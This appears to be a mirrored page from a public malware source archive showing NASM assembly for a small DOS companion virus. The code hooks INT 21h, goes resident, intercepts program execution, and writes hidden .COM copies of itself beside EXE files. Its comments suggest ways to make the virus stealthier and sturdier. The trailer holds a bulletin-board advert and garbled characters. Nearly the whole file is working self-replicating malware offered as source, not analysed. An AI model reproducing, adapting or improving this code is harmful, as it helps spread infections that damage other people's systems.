mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
93 lines
4.6 KiB
NASM
93 lines
4.6 KiB
NASM
tic segment
|
||
org 100h
|
||
assume cs:tic, ds:tic, es:tic
|
||
;
|
||
len equ offset int21-100h ;LENGTH OF VIRUS CODE
|
||
;
|
||
;THE FOLLOWING CODE MAKES THE VIRUS GO RESIDENT. TO KEEP THE INFECTION
|
||
;CODE AS SHORT AS POSSIBLE, THE INT 21 VECTOR (4 BYTES) IS SAVED OUTSIDE
|
||
;THE VIRUS BODY. THIS MAY OCCASIONALLY CAUSE THE VECTOR TO BE OVERWRITTEN
|
||
;BY THE ENVIRONMENT, WHICH WILL CRASH THE SYSTEM. TO PREVENT THIS, DEFINE
|
||
;TWO WORDS FOR THE LABEL INT21 AND ADD FOUR BYTES TO THE RESIDENT CODE.
|
||
;THE FIRST TIME THAT AN "INFECTED" FILE IS RUN, IT WILL SIMPLY RETURN TO
|
||
;DOS. THIS IS BECAUSE THE RESIDENT CODE MUST FIRST BE LOADED. AFTER THAT
|
||
;EVERYTHING WILL APPEAR TO WORK NORMALLY. TO REMEDY THIS PROBLEM, ALTER
|
||
;THE MEMORY CONTROL BLOCK TO TRAP THE RESIDENT CODE, THEN JUMP TO IT. A
|
||
;STILL BETTER SOLUTION IS TO COPY THE VIRUS TO THE TOP OF MEMORY AND
|
||
;TRAP IT THERE. ALSO, DO NOT REVECTOR INTERRUPT BUT OVERWRITE THE
|
||
;ENTRY POINT WITH A FAR JUMP TO THE VIRUS AND THEN RESTORE IT. THESE
|
||
;TECHNIQUES WILL MAKE A BETTER, THOUGH LONGER VIRUS.
|
||
;
|
||
start: mov ax,3521h ;GET INT 21 VECTOR
|
||
int 21h
|
||
mov di,offset int21
|
||
mov [di],bx ;SAVE IT
|
||
mov [di+2],es
|
||
mov dx,offset infect
|
||
mov ah,25h
|
||
int 21h ;REVECTOR TO VIRUS
|
||
mov dx,di
|
||
int 27h ;GO RESIDENT
|
||
;
|
||
;THIS IS THE ACTUAL INFECTION CODE. IT CHECKS FOR THE EXEC FUNCTION THEN
|
||
;TRIES TO RUN THE PROCESS AS AN EXE. IF THIS FAILS, THE VIRUS KNOWS THAT
|
||
;IT REALLY WAS A COM PROGRAM, IN WHICH CASE IT SIMPLY LETS THE CALL GO
|
||
;THROUGH. OTHERWISE A SHADOW COM FILE IS (RE)CREATED, "INFECTING" THE
|
||
;EXE. THE HIDDEN ATTRIBUTE IS SET ON THE SHADOW FILE. TO KEEP THESE FILES
|
||
;VISIBLE, SET CX TO 0 INSTEAD OF 2.
|
||
;NOTE: UNDER DOS 5.0, REGISTERS ES AND DS ARE SAME WHEN THE EXEC CALL
|
||
;IS ISSUED. SETTING ES TO DS IS ONLY NECESSARY TO MAKE THE VIRUS RUN UNDER
|
||
;DOS 3.X. OTHERWISE YOU CAN ELIMINATE THESE INSTRUCTIOS, BRINGING THE VIRUS
|
||
;BACK TO JUST 79 BYTES.
|
||
;
|
||
infect: cmp ax,4b00h ;EXEC?
|
||
jne interrupt ;IF NOT, CONTINUE INTERRUPT
|
||
push ax ;KEEP FUNCTION CALL
|
||
push es ;KEEP ES
|
||
push ds ;SET ES TO DS
|
||
pop es
|
||
mov di,dx ;SCAN TO EXT
|
||
mov al,'.'
|
||
repne scasb
|
||
push di ;POINTER TO EXT
|
||
mov ax,'XE' ;TRY TO RUN AS .EXE
|
||
stosw
|
||
stosb
|
||
pop di ;RETREIVE POINTER TO EXT
|
||
pop es ;RESTORE ES FOR EXEC
|
||
pop ax ;GET FUNCTION
|
||
push ax ;KEEP IT
|
||
push dx ;KEEP POINTER TO PROCESS NAME
|
||
pushf ;DO INTERRUPT
|
||
push cs
|
||
call interrupt
|
||
mov ax,'OC' ;CHANGE EXT TO COM
|
||
stosw
|
||
mov al,'M'
|
||
stosb
|
||
pop dx ;CLEAR STACK
|
||
pop ax
|
||
jc interrupt ;WASN'T .EXE SO JUST CONTINUE
|
||
mov cx,2
|
||
mov ah,3ch ;CREATE SHADOW .COM FILE
|
||
int 21h
|
||
xchg bx,ax ;GET HANDLE
|
||
push cs ;WRITE VIRUS TO .COM FILE
|
||
pop ds ;SEGMENT OF VIRUS CODE
|
||
mov cl,len
|
||
mov dx,si ;=0100 HEX
|
||
mov ah,40h ;WRITE VIRUS AND EXIT
|
||
;
|
||
interrupt:
|
||
db 0eah ;FAR JUMP
|
||
int21: ;VECTOR GOES HERE
|
||
;
|
||
tic ends
|
||
end start
|
||
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
|